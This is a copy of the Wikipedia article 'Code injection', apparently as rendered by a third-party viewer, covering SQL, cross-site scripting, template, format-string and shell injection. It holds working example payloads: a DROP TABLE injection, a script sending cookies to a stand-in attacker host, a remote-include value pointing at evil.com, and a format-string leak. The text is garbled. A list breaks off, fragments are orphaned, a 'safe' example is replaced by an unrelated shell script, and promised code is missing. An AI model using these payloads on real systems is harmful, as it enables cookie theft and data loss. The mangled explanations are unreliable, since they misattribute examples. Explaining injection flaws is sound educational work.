FazBrowse Wikipedia Viewer | Main Page |
Search Wikipedia:
|
Viewing: https://en.wikipedia.org/wiki/Shell_injection#Shell_injection

Code injection

Contents
    Cross-site scripting
    Server-side template injection
    Format specifier injection
External links

Code injection is a computer security exploit where a program fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems, and the spread of malware.

Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other program arguments. Injection flaws can be identified through source code examination, Static analysis, or dynamic testing methods such as fuzzing.

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection can be used maliciously for many purposes, including:

Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption.

Code injections can occur on any type of program running with an interpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how an injector can see code injection first-hand is to use their browser's developer tools.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.

An SQL injection attack takes advantage of SQL syntax to inject malicious commands that can read or modify a database or otherwise compromise the meaning of the original query.

For example, consider a web page that has two text fields which allow users to enter a username and a password to log in to the web site. The (hypothetical) web server code will receive the username and password parameters, and will generate an SQL query to check that the username exists and that the password is correct for that user. If the query returns any rows, then access is granted.

For example, if given the username alice and the password hunter2, the server will generate and run this query:

SELECTUserList.Username FROMUserList WHEREUserList.Username='alice' ANDUserList.Password='hunter2';DROPTABLEUserList;--'

Because the ; symbol signifies the end of one statement, it is possible to begin a new statement — in this case, DROP TABLE. The symbol -- signifies the start of a comment, thus neutralizing the trailing ' that the server adds when generating the query syntax. As a result of these two statements, no rows will be returned (unless by chance the user Username has a blank password), and the entire UserList table will be deleted.

For database engines that extend SQL to allow queries to invoke external programs, the attacker could gain that capability as well.

Cross-site scripting

edit
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.

Server-side template injection

edit

Template engines are often used in modern web applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities such as server-side Side Template Injections (SSTI). While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.

eval() function call.

<?php $color = 'blue'; if (isset($_GET['color'])) $color = $_GET['color']; require($color . '.php');

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.

Format specifier injection

edit
#include<stdio.h> charinput[100]; intnumber; charpassword[10]="Password1"; printf("Enter an integer\n"); scanf("%d",&number); printf("Please enter a string\n"); fgets(input,sizeof(input),stdin); printf(input); printf("\n");

If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and print Password1 to the screen.

Instead, to safely print the input:

#!/bin/tcsh # check arg # outputs "it matches" if the argument is 1 if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the (hypothetical) shell command evil instead of comparing the first argument with the constant value 1. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

"OWASP Top 10 2013 A1: Injection Flaws". OWASP. Archived from the original on 28 January 2016. Retrieved 19 December 2013.
  • ↑ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 18 September 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  • ↑ Philippaerts, Pieter; et al. (1 June 2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN 1094-9224. S2CID 10947780. Archived (PDF) from the original on 24 February 2021. Retrieved 21 October 2018.
  • ↑ Christey, Steven M. (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Archived from the original on 13 November 2009. Retrieved 21 October 2018.
  • ↑ "Command Injection". Archived from the original on 20 December 2013. Retrieved 19 December 2013.
  • ↑ Douglas W. Jones, CS:3620 Notes, Lecture 4—Shell Scripts. Archived 24 September 2024 at the Wayback Machine, Spring 2018.
  • ↑ "Neo4jection: Secrets, Data, and Cloud Exploits". www.varonis.com. Retrieved 17 September 2026.
  • ↑ "Neo4j Customer Service Portal". support.neo4j.com. Retrieved 17 September 2026.
  • External links

    edit
    Information security
    Threats
    vectorial versionvectorial version
    Defenses
    Cybersecurity domains
    Related
    security
    topics

    View original on Wikipedia | Back | FazBrowse Home